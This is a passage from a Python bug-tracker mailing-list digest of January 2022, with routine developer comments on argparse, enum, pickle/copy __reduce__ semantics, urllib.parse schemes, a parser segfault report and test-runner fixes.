the argument parser." I looked at your example in: https://bugs.python.org/issue46058 The many levels of nesting groups was confusing, but now I realize that by nesting argument_groups in a mutually_exlusive_group you were try to implement some sort of any/all group within the xor group. This cannot be done within argparse. Mutually_exclusive only implements a flat xor. Argument_groups are used for help display, but play no role in parsing. Some years ago I explored the use of nest parsing groups: https://bugs.python.org/issue11588 Add "necessarily inclusive" groups to argparse I was trying to allow for nested groups that implemented all logical options - xor, or, and, not. Defining such groups wasn't hard. And I think I got the testing logic working right. But usage display required too big of a change to the formatter, and left too many loose ends. So I have let that languish. Now I recommend focusing on doing the testing after parsing. Use meaningful defaults where possible, and use `is None` to test whether a users has provided a value or not. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 14:45:16 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 10 Jan 2022 19:45:16 +0000 Subject: [issue46327] `test_enum` contains tests for older versions of python In-Reply-To: <1641809022.94.0.176766366407.issue46327@roundup.psfhosted.org> Message-ID: <1641843916.67.0.24625859431.issue46327@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 14:50:27 2022 From: report at bugs.python.org (Aleksandr Krymskiy) Date: Mon, 10 Jan 2022 19:50:27 +0000 Subject: [issue46226] User specific paths added to System PATH environment variable In-Reply-To: <1641143588.09.0.0658438943586.issue46226@roundup.psfhosted.org> Message-ID: <1641844227.76.0.712210115384.issue46226@roundup.psfhosted.org> Aleksandr Krymskiy added the comment: I installed 3.10, and then removed 3.9 that I had installed previously. Python is installed in "C:\Program Files\Python310". The only thing that exists under %LocalAppData% is an empty directory "C:\Users\avk\AppData\Local\Programs\Python\Python310\Scripts" - I always install "for all users" so there isn't anything else under the "C:\Users\avk\AppData\Local\Programs\Python" other than the empty directory I mentioned. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 14:57:23 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 10 Jan 2022 19:57:23 +0000 Subject: [issue46330] Simplify the signature of __exit__ In-Reply-To: <1641820088.08.0.801223860673.issue46330@roundup.psfhosted.org> Message-ID: <1641844643.08.0.886089220568.issue46330@roundup.psfhosted.org> Raymond Hettinger added the comment: Implementation and transition issues aside, I like this idea. People can mostly just use isinstance() checks to match one or more exception types. Also, the single argument form would work well with structural pattern matching: def __exit__(self, exc): match exc: case IOError(): ... That said, there will be some cases that are worse off. If the code actually needs "exctype", perhaps for logging or for an exact match, then the new single argument form will just shift complexity away from the signature and into the main body of the code. This may be the common case. During code reviews, I see the "exctype" argument used more frequently than "excinst". ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 15:03:03 2022 From: report at bugs.python.org (Steve Dower) Date: Mon, 10 Jan 2022 20:03:03 +0000 Subject: [issue46226] User specific paths added to System PATH environment variable In-Reply-To: <1641143588.09.0.0658438943586.issue46226@roundup.psfhosted.org> Message-ID: <1641844983.84.0.467391080147.issue46226@roundup.psfhosted.org> Steve Dower added the comment: Without logs or the ability to reproduce it, there's not much we can do. I ran the install and it put the variables in the right place, so it's not happening all the time. The install logs are usually detailed enough to see why decisions like this are made, but it'll almost certainly be because of something specific to your machine. If running the install again produces the same result, those logs will be helpful as well. I don't see us being able to make any product changes for this though. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 15:28:21 2022 From: report at bugs.python.org (Eric Snow) Date: Mon, 10 Jan 2022 20:28:21 +0000 Subject: [issue46320] runtime/interp/thread state refactoring leads to segmentation fault In-Reply-To: <1641761312.51.0.52946214208.issue46320@roundup.psfhosted.org> Message-ID: <1641846501.35.0.164281011352.issue46320@roundup.psfhosted.org> Eric Snow added the comment: I must be missing something. Here is what I did: ``` $ cd cpython $ git checkout main $ make -j8 $ ./python -v venv ../venv-urllib3 $ cd .. $ git clone https://github.com/urllib3/urllib3 $ cd urllib3 $ ../venv-urllib3/bin/python3 -m pip install nox $ ../venv-urllib3/bin/nox -Rs test-3.11 nox > Running session test-3.11 nox > Session test-3.11 skipped: Python interpreter 3.11 not found. ``` I am not familiar with nox so I'm not sure how to trouble-shoot this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 15:31:32 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Mon, 10 Jan 2022 20:31:32 +0000 Subject: [issue46334] Glossary URLs with anchor link no longer jump to definitions In-Reply-To: <1641835252.55.0.383081716651.issue46334@roundup.psfhosted.org> Message-ID: <1641846692.17.0.898073597413.issue46334@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 15:32:33 2022 From: report at bugs.python.org (Eric Snow) Date: Mon, 10 Jan 2022 20:32:33 +0000 Subject: [issue46320] runtime/interp/thread state refactoring leads to segmentation fault In-Reply-To: <1641761312.51.0.52946214208.issue46320@roundup.psfhosted.org> Message-ID: <1641846753.77.0.157564243165.issue46320@roundup.psfhosted.org> Eric Snow added the comment: It looks like the urllib3 CI is passing for 3.11.0a3: https://github.com/urllib3/urllib3/runs/4762856431 (Ubuntu 3.11-dev test-3.11). Is there a urllib3 issue number you could point me at? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 15:43:19 2022 From: report at bugs.python.org (Quentin Pradet) Date: Mon, 10 Jan 2022 20:43:19 +0000 Subject: [issue46320] runtime/interp/thread state refactoring leads to segmentation fault In-Reply-To: <1641761312.51.0.52946214208.issue46320@roundup.psfhosted.org> Message-ID: <1641847399.93.0.433420745692.issue46320@roundup.psfhosted.org> Quentin Pradet added the comment: We haven't opened an issue for this, but discussed it in Discord, sorry. It also does not always crash on GitHub Actions. Here's an example of a crash: https://github.com/urllib3/urllib3/runs/4740730329?check_suite_focus=true If nox can't find your Python version and `nox --no-venv -Rs test-3.11` does not run your version of Python 3.11, you can always execute those commands directly: pip install -r dev-requirements.txt pip install ".[socks,secure,brotli]" pytest If that does not crash on your system, I'd appreciate if you could tell me how I could help get this fixed besides simplifying the reproducer. Thanks. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 16:29:05 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 21:29:05 +0000 Subject: [issue46328] add sys.exception() In-Reply-To: <1641815417.01.0.0256923104095.issue46328@roundup.psfhosted.org> Message-ID: <1641850145.7.0.232250066156.issue46328@roundup.psfhosted.org> Irit Katriel added the comment: I thought of something like sys.active_exception() but it seems like a lot to type. sys.exception() was suggested in pep3134. Does this change need a pep? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 16:41:04 2022 From: report at bugs.python.org (Lev Bishop) Date: Mon, 10 Jan 2022 21:41:04 +0000 Subject: [issue46336] Sixth element of tuple from __reduce__(), inconsistency between pickle and copy Message-ID: <1641850864.54.0.502406919667.issue46336@roundup.psfhosted.org> New submission from Lev Bishop : As discussed in discord thread https://discuss.python.org/t/sixth-element-of-tuple-from-reduce-inconsistency-between-pickle-and-copy/12902 where guido suggested to open this issue. Both the pickle and copy modules of the standard library make use of a class?s __reduce__() method for customizing their pickle/copy process. They seem to have a consistent view of the first 5 elements of the returned tuple: (func, args, state, listiter, dictiter) but the 6th element seems different. For pickle it?s state_setter , a callable with signature state_setter(obj, state)->None , but for copy it?s deepcopy with signature deepcopy(arg: T, memo) -> T . This seems to be unintentional, since the pickle documentation states: > As we shall see, pickle does not use directly the methods described > above. In fact, these methods are part of the copy protocol which > implements the __reduce__() special method. The copy protocol provides > a unified interface for retrieving the data necessary for pickling > and copying objects It seems like in order to make a class definition for __reduce__() returning all 6 elements, then the __reduce__() would have to do something very awkward like examining its call stack in order to determine if it is being called in pickle or copy context in order to return an appropriate callable? (Naively providing the same callable in both contexts would cause errors for one or the other). I attach a test file which defines two classes making use of a __reduce__() returning a 6 element tuple. One class Pickleable can be duplicated via pickling, but not deepcopied. The converse is true for the Copyable class. Other than the 6th element of the tuple returned from __reduce__() the classes are identical. Guido dug into the history and found that: > it looks like these are independent developments: > the 6th arg for deepcopy was added 6 years ago via Issue 26167: Improve copy.copy speed for built-in types (list/set/dict) - Python tracker > the 6th arg for pickle was adde 3 years ago via Issue 35900: Add pickler hook for the user to customize the serialization of user defined functions and types. - Python tracker > I?m guessing the folks doing the latter weren?t aware that deepcopy already uses the 6th arg. Sorting this out will be painful. ---------- components: Library (Lib) files: reduce.py messages: 410256 nosy: lev.bishop priority: normal severity: normal status: open title: Sixth element of tuple from __reduce__(), inconsistency between pickle and copy type: behavior Added file: https://bugs.python.org/file50554/reduce.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 16:47:11 2022 From: report at bugs.python.org (Andreas H.) Date: Mon, 10 Jan 2022 21:47:11 +0000 Subject: [issue46333] ForwardRef.__eq__ does not respect module parameter In-Reply-To: <1641828029.13.0.319383260427.issue46333@roundup.psfhosted.org> Message-ID: <1641851231.24.0.521063559318.issue46333@roundup.psfhosted.org> Andreas H. added the comment: I will give it a try. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 16:50:32 2022 From: report at bugs.python.org (Brandt Bucher) Date: Mon, 10 Jan 2022 21:50:32 +0000 Subject: [issue46329] Split up the CALL_NO_KW and CALL_KW instructions. In-Reply-To: <1641819285.76.0.605357810946.issue46329@roundup.psfhosted.org> Message-ID: <1641851432.29.0.336265479632.issue46329@roundup.psfhosted.org> Change by Brandt Bucher : ---------- nosy: +brandtbucher _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 16:50:34 2022 From: report at bugs.python.org (Barry A. Warsaw) Date: Mon, 10 Jan 2022 21:50:34 +0000 Subject: [issue46328] add sys.exception() In-Reply-To: <1641815417.01.0.0256923104095.issue46328@roundup.psfhosted.org> Message-ID: <1641851434.95.0.486372978224.issue46328@roundup.psfhosted.org> Barry A. Warsaw added the comment: sys.exception() seems like a decent enough trade-off. I've always disliked the abbreviations in "exc_info". It doesn't feel big enough for a PEP to me. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 16:50:56 2022 From: report at bugs.python.org (Lincoln Auster) Date: Mon, 10 Jan 2022 21:50:56 +0000 Subject: [issue46337] urllib.parse: Allow more flexibility in schemes and URL resolution behavior Message-ID: <1641851456.34.0.342855463339.issue46337@roundup.psfhosted.org> New submission from Lincoln Auster : It looks like this was discussed in 2013-2015 here: https://bugs.python.org/issue18828 Basically, with all the URL schemes that exist in the world (and the possibility of a custom scheme), the current strategy of enumerating what do what in a hard-coded variable is a bit ... weird. Among the proposed solutions in 18828, some were: + Have a global registry of what schemes do what (criticized for being overkill, and I can't say I disagree) + Get rid of the scheme lists altogether, and assume every scheme supports everything (isn't backwards compatible; might break with intended behavior, too). + Switch the use_relative whitelist to a blacklist: (maybe fine in practice, maybe not; either way it doesn't really fix the underlying issue) + Work around it with global state (modify the uses_* lists; this is what I'm doing in my code, and I can't say I like it much). An alternative implemented I've implemented in my fork (https://github.com/lincolnauster/cpython/tree/urllib-custom-schemes) is to have an Enum with all the weird scheme-based behaviors that may occur (urllib.parse.SchemeClass in my fork) and allow passing a set of those Enums to functions relying on scheme-specific behavior, and adding all the elements of that set to what's been determined by the scheme. (See the test case for a concrete example; this explanation is not great). Some things I like about this: + Backwards compatibility. + It makes the functions using it as a general strategy a bit more pure. + It makes client code deal with edge cases. Some things that could be changed: + There's no way to remove behaviors you *don't* want. + It makes client code deal with edge cases. As a side thought: if the above could be adopted, the uses_* lists could be enforced as immutable, which, while breaking compatibility, could make client code a bit cleaner. ---------- components: Library (Lib) messages: 410259 nosy: lincolnauster priority: normal severity: normal status: open title: urllib.parse: Allow more flexibility in schemes and URL resolution behavior type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 16:55:16 2022 From: report at bugs.python.org (Lincoln Auster) Date: Mon, 10 Jan 2022 21:55:16 +0000 Subject: [issue46337] urllib.parse: Allow more flexibility in schemes and URL resolution behavior In-Reply-To: <1641851456.34.0.342855463339.issue46337@roundup.psfhosted.org> Message-ID: <1641851716.08.0.787508803042.issue46337@roundup.psfhosted.org> Change by Lincoln Auster : ---------- keywords: +patch pull_requests: +28721 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30520 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 17:00:04 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 22:00:04 +0000 Subject: [issue46328] add sys.exception() In-Reply-To: <1641815417.01.0.0256923104095.issue46328@roundup.psfhosted.org> Message-ID: <1641852004.11.0.52837987767.issue46328@roundup.psfhosted.org> Irit Katriel added the comment: Cool. I just removed the do-not-merge label from the PR and I guess it's ready to be reviewed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 17:01:51 2022 From: report at bugs.python.org (Allie Hammond) Date: Mon, 10 Jan 2022 22:01:51 +0000 Subject: [issue46338] libc_ver() runtime error when sys.executable is empty Message-ID: <1641852111.45.0.964710439738.issue46338@roundup.psfhosted.org> New submission from Allie Hammond : libc_ver() in platform.py (called from platform()) causes a runtime error if sys.executable returns null. In my case, FreeRADIUS offers a module rlm_python3 which allows you to run python code from the C based FreeRADIUS server - since this module doesn't use a python binary to execute sys.executable returns null trigering this error. ---------- messages: 410261 nosy: allie.hammond, lemburg priority: normal severity: normal status: open title: libc_ver() runtime error when sys.executable is empty type: crash versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 17:03:58 2022 From: report at bugs.python.org (Alex Waygood) Date: Mon, 10 Jan 2022 22:03:58 +0000 Subject: [issue46333] ForwardRef.__eq__ does not respect module parameter In-Reply-To: <1641828029.13.0.319383260427.issue46333@roundup.psfhosted.org> Message-ID: <1641852238.64.0.715362863258.issue46333@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +AlexWaygood _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 17:04:19 2022 From: report at bugs.python.org (Alex Waygood) Date: Mon, 10 Jan 2022 22:04:19 +0000 Subject: [issue46330] Simplify the signature of __exit__ In-Reply-To: <1641820088.08.0.801223860673.issue46330@roundup.psfhosted.org> Message-ID: <1641852259.31.0.611358431835.issue46330@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +AlexWaygood _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 17:04:39 2022 From: report at bugs.python.org (Alex Waygood) Date: Mon, 10 Jan 2022 22:04:39 +0000 Subject: [issue46328] add sys.exception() In-Reply-To: <1641815417.01.0.0256923104095.issue46328@roundup.psfhosted.org> Message-ID: <1641852279.26.0.66909571316.issue46328@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +AlexWaygood _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 17:19:51 2022 From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=) Date: Mon, 10 Jan 2022 22:19:51 +0000 Subject: [issue46336] Sixth element of tuple from __reduce__(), inconsistency between pickle and copy In-Reply-To: <1641850864.54.0.502406919667.issue46336@roundup.psfhosted.org> Message-ID: <1641853191.56.0.159925170364.issue46336@roundup.psfhosted.org> Change by ?ric Araujo : ---------- nosy: +pitrou, rhettinger versions: +Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 17:23:21 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 22:23:21 +0000 Subject: [issue46336] Sixth element of tuple from __reduce__(), inconsistency between pickle and copy In-Reply-To: <1641850864.54.0.502406919667.issue46336@roundup.psfhosted.org> Message-ID: <1641853401.45.0.998049295254.issue46336@roundup.psfhosted.org> Change by Irit Katriel : ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 17:33:13 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 22:33:13 +0000 Subject: [issue46336] Sixth element of tuple from __reduce__(), inconsistency between pickle and copy In-Reply-To: <1641850864.54.0.502406919667.issue46336@roundup.psfhosted.org> Message-ID: <1641853993.4.0.661391453715.issue46336@roundup.psfhosted.org> Irit Katriel added the comment: I added Serhiy as the author of the deepcopy optimization. Although it was the first to use the 6th item, it is not documented so I wonder if it's the easier of the two to change. ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 18:15:16 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 23:15:16 +0000 Subject: [issue23902] let exception react to being raised or the setting of magic properties (like __cause__) within Python In-Reply-To: <1428610708.13.0.662863454956.issue23902@psf.upfronthosting.co.za> Message-ID: <1641856516.78.0.466844843184.issue23902@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 18:16:35 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 23:16:35 +0000 Subject: [issue27257] get_addresses results in traceback with an addrspec with an empty local part. In-Reply-To: <1465327493.81.0.354921385455.issue27257@psf.upfronthosting.co.za> Message-ID: <1641856595.67.0.266604586024.issue27257@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> works for me stage: patch review -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 18:17:08 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 23:17:08 +0000 Subject: [issue6942] email.generator.Generator memory consumption In-Reply-To: <1253318032.63.0.187743524666.issue6942@psf.upfronthosting.co.za> Message-ID: <1641856628.61.0.77865546023.issue6942@roundup.psfhosted.org> Change by Irit Katriel : ---------- stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 18:17:59 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 10 Jan 2022 23:17:59 +0000 Subject: [issue43681] doctest forgets previous imports In-Reply-To: <1617200705.39.0.678751580159.issue43681@roundup.psfhosted.org> Message-ID: <1641856679.29.0.950142009253.issue43681@roundup.psfhosted.org> Nikita Sobolev added the comment: Ethan, I've tried to reproduce this, but it seems that example you attached is not valid. `Flag` is never imported at all. The same with `auto`. Should it be: ``` >>> from enum import auto, Flag, STRICT ``` the first time? As you said, it only happens in rare envs. For me the sample above works completely fine. I also can't find any historical logs from the CI failures :( Related: - https://github.com/python/cpython/pull/25118 - https://bugs.python.org/issue40066 ---------- nosy: +sobolevn _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 18:29:16 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 10 Jan 2022 23:29:16 +0000 Subject: [issue45331] Can create enum of ranges, cannot create range enum. Range should be subclassable... or EnumMeta.__new__ should be smarter. In-Reply-To: <1633010263.22.0.644959932757.issue45331@roundup.psfhosted.org> Message-ID: <1641857356.31.0.779907657926.issue45331@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch nosy: +sobolevn nosy_count: 2.0 -> 3.0 pull_requests: +28722 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30521 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 18:29:48 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 23:29:48 +0000 Subject: [issue16482] pdb.set_trace() clobbering traceback on error In-Reply-To: <1353002125.56.0.265106335805.issue16482@psf.upfronthosting.co.za> Message-ID: <1641857388.94.0.406147669654.issue16482@roundup.psfhosted.org> Irit Katriel added the comment: iritkatriel at Irits-MBP cpython % cat pdb_traceback.py import pdb x = 0 while True: pdb.set_trace() y = "line of code not triggering an error" x += 1 assert x != 3 iritkatriel at Irits-MBP cpython % cat pdb_traceback.py import pdb x = 0 while True: pdb.set_trace() y = "line of code not triggering an error" x += 1 assert x != 3 iritkatriel at Irits-MBP cpython % ./python.exe pdb_traceback.py > /Users/iritkatriel/src/cpython/pdb_traceback.py(8)() -> y = "line of code not triggering an error" (Pdb) c > /Users/iritkatriel/src/cpython/pdb_traceback.py(8)() -> y = "line of code not triggering an error" (Pdb) c > /Users/iritkatriel/src/cpython/pdb_traceback.py(8)() -> y = "line of code not triggering an error" (Pdb) c Traceback (most recent call last): File "/Users/iritkatriel/src/cpython/pdb_traceback.py", line 10, in assert x != 3 ^^^^^^^^^^^^^ AssertionError ---------- nosy: +iritkatriel status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 18:31:23 2022 From: report at bugs.python.org (Irit Katriel) Date: Mon, 10 Jan 2022 23:31:23 +0000 Subject: [issue7238] frame.f_lineno doesn't get updated after local trace function assigned to it In-Reply-To: <1256836618.71.0.0275056583438.issue7238@psf.upfronthosting.co.za> Message-ID: <1641857483.84.0.0495781811083.issue7238@roundup.psfhosted.org> Irit Katriel added the comment: I am unable to reproduce this on 3.11, I get this: iritkatriel at Irits-MBP cpython % ./python.exe tracer_testcase.py 14 15 16 14 15 16 I am also unable to reproduce the problem in the related issue 16482. ---------- nosy: +iritkatriel status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 18:42:58 2022 From: report at bugs.python.org (Ethan Furman) Date: Mon, 10 Jan 2022 23:42:58 +0000 Subject: [issue45331] Can create enum of ranges, cannot create range enum. Range should be subclassable... or EnumMeta.__new__ should be smarter. In-Reply-To: <1633010263.22.0.644959932757.issue45331@roundup.psfhosted.org> Message-ID: <1641858178.09.0.711164926505.issue45331@roundup.psfhosted.org> Ethan Furman added the comment: New changeset 6223cbf86ad7d5e6d12f9747e5a9cf1d8c72bdc8 by Nikita Sobolev in branch 'main': bpo-45331: [Enum] add rule to docs that mixin type must be subclassable (GH-30521) https://github.com/python/cpython/commit/6223cbf86ad7d5e6d12f9747e5a9cf1d8c72bdc8 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 18:43:43 2022 From: report at bugs.python.org (Ken Jin) Date: Mon, 10 Jan 2022 23:43:43 +0000 Subject: [issue46244] typing._TypeVarLike missing __slots__ In-Reply-To: <1641221264.62.0.732771718819.issue46244@roundup.psfhosted.org> Message-ID: <1641858223.85.0.366337369778.issue46244@roundup.psfhosted.org> Ken Jin added the comment: New changeset 081a2140083680ffc309e53699aea29e71760d70 by Arie Bovenberg in branch 'main': bpo-46244: Remove __slots__ from typing.TypeVar, .ParamSpec (#30444) https://github.com/python/cpython/commit/081a2140083680ffc309e53699aea29e71760d70 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 20:07:46 2022 From: report at bugs.python.org (Yu Zhao) Date: Tue, 11 Jan 2022 01:07:46 +0000 Subject: [issue1635741] Py_Finalize() doesn't clear all Python objects at exit Message-ID: <1641863266.41.0.320646165372.issue1635741@roundup.psfhosted.org> Change by Yu Zhao : ---------- nosy: +CharlieZhao nosy_count: 24.0 -> 25.0 pull_requests: +28723 pull_request: https://github.com/python/cpython/pull/30522 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 20:17:04 2022 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 11 Jan 2022 01:17:04 +0000 Subject: [issue46162] Make `builtins.property` generic In-Reply-To: <1640253025.77.0.520385746674.issue46162@roundup.psfhosted.org> Message-ID: <1641863824.26.0.876630322234.issue46162@roundup.psfhosted.org> Guido van Rossum added the comment: Since the conclusion is that we can't do this without breaking backwards compatibility, should we just close this? Or is there still a compromise possible? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 20:39:46 2022 From: report at bugs.python.org (Guido van Rossum) Date: Tue, 11 Jan 2022 01:39:46 +0000 Subject: [issue41987] singledispatchmethod raises an error when relying on a forward declaration In-Reply-To: <1602274303.54.0.362260014367.issue41987@roundup.psfhosted.org> Message-ID: <1641865186.89.0.164493701854.issue41987@roundup.psfhosted.org> Guido van Rossum added the comment: Thanks for the bisection. It's not surprising that that's the culprit, and in other situations that's the right thing to do. I'm not sure how to address this without breaking other stuff -- maybe leave the ForwardRef if evaluating it doesn't work? But that's likely to have other subtle side effects -- we still want simple typos (or other reasons why a reference is legitimately broken) to go unchecked. Maybe singledispatch can catch the error and fall back on looking at bare __annotations__? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 21:56:11 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 11 Jan 2022 02:56:11 +0000 Subject: [issue46339] PEG parser segfault from ast.literal_eval Message-ID: <1641869771.82.0.588591691802.issue46339@roundup.psfhosted.org> New submission from Gregory P. Smith : cpython/b$ ./python Python 3.11.0a3+ (heads/main-dirty:081a214008, Jan 11 2022, 02:48:22) [GCC 11.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import ast >>> ast.literal_eval('''F""" ... ... ... {6 ... 0="""''') Segmentation fault this was discovered by oss-fuzz. This may be a recent regression? It didn't happen on my build from a few weeks ago. worth testing on older versions. ---------- assignee: pablogsal components: Parser messages: 410270 nosy: gregory.p.smith, lys.nikolaou, pablogsal priority: normal severity: normal stage: needs patch status: open title: PEG parser segfault from ast.literal_eval type: crash versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 22:03:32 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 11 Jan 2022 03:03:32 +0000 Subject: [issue46205] test.libregrtest: Race condition in runtest_mp leads to hangs (never exits) In-Reply-To: <1640884373.19.0.652074258131.issue46205@roundup.psfhosted.org> Message-ID: <1641870212.19.0.054790687919.issue46205@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +28724 pull_request: https://github.com/python/cpython/pull/30523 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 22:03:36 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 11 Jan 2022 03:03:36 +0000 Subject: [issue46205] test.libregrtest: Race condition in runtest_mp leads to hangs (never exits) In-Reply-To: <1640884373.19.0.652074258131.issue46205@roundup.psfhosted.org> Message-ID: <1641870216.49.0.965538960595.issue46205@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28725 pull_request: https://github.com/python/cpython/pull/30524 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 22:03:46 2022 From: report at bugs.python.org (Dong-hee Na) Date: Tue, 11 Jan 2022 03:03:46 +0000 Subject: [issue46205] test.libregrtest: Race condition in runtest_mp leads to hangs (never exits) In-Reply-To: <1640884373.19.0.652074258131.issue46205@roundup.psfhosted.org> Message-ID: <1641870226.51.0.595445212197.issue46205@roundup.psfhosted.org> Dong-hee Na added the comment: New changeset e13cdca0f5224ec4e23bdd04bb3120506964bc8b by Sam Gross in branch 'main': bpo-46205: exit if no workers are alive in runtest_mp (GH-30470) https://github.com/python/cpython/commit/e13cdca0f5224ec4e23bdd04bb3120506964bc8b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 22:29:39 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 11 Jan 2022 03:29:39 +0000 Subject: [issue46205] test.libregrtest: Race condition in runtest_mp leads to hangs (never exits) In-Reply-To: <1640884373.19.0.652074258131.issue46205@roundup.psfhosted.org> Message-ID: <1641871779.13.0.532149744706.issue46205@roundup.psfhosted.org> miss-islington added the comment: New changeset e0ec08dc49f8e6f94a735bc9946ef7a3fd898a44 by Miss Islington (bot) in branch '3.10': bpo-46205: exit if no workers are alive in runtest_mp (GH-30470) https://github.com/python/cpython/commit/e0ec08dc49f8e6f94a735bc9946ef7a3fd898a44 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 22:32:24 2022 From: report at bugs.python.org (miss-islington) Date: Tue, 11 Jan 2022 03:32:24 +0000 Subject: [issue46205] test.libregrtest: Race condition in runtest_mp leads to hangs (never exits) In-Reply-To: <1640884373.19.0.652074258131.issue46205@roundup.psfhosted.org> Message-ID: <1641871944.44.0.618183308873.issue46205@roundup.psfhosted.org> miss-islington added the comment: New changeset 690ed889c537c008a2c5f3e6c4f06c5b0c0afbc6 by Miss Islington (bot) in branch '3.9': bpo-46205: exit if no workers are alive in runtest_mp (GH-30470) https://github.com/python/cpython/commit/690ed889c537c008a2c5f3e6c4f06c5b0c0afbc6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 22:32:39 2022 From: report at bugs.python.org (Dong-hee Na) Date: Tue, 11 Jan 2022 03:32:39 +0000 Subject: [issue46205] test.libregrtest: Race condition in runtest_mp leads to hangs (never exits) In-Reply-To: <1640884373.19.0.652074258131.issue46205@roundup.psfhosted.org> Message-ID: <1641871959.52.0.598618677091.issue46205@roundup.psfhosted.org> Change by Dong-hee Na : ---------- versions: -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 22:32:45 2022 From: report at bugs.python.org (Dong-hee Na) Date: Tue, 11 Jan 2022 03:32:45 +0000 Subject: [issue46205] test.libregrtest: Race condition in runtest_mp leads to hangs (never exits) In-Reply-To: <1640884373.19.0.652074258131.issue46205@roundup.psfhosted.org> Message-ID: <1641871965.81.0.164806286883.issue46205@roundup.psfhosted.org> Change by Dong-hee Na : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 10 22:54:02 2022 From: report at bugs.python.org (Kumar Aditya) Date: Tue, 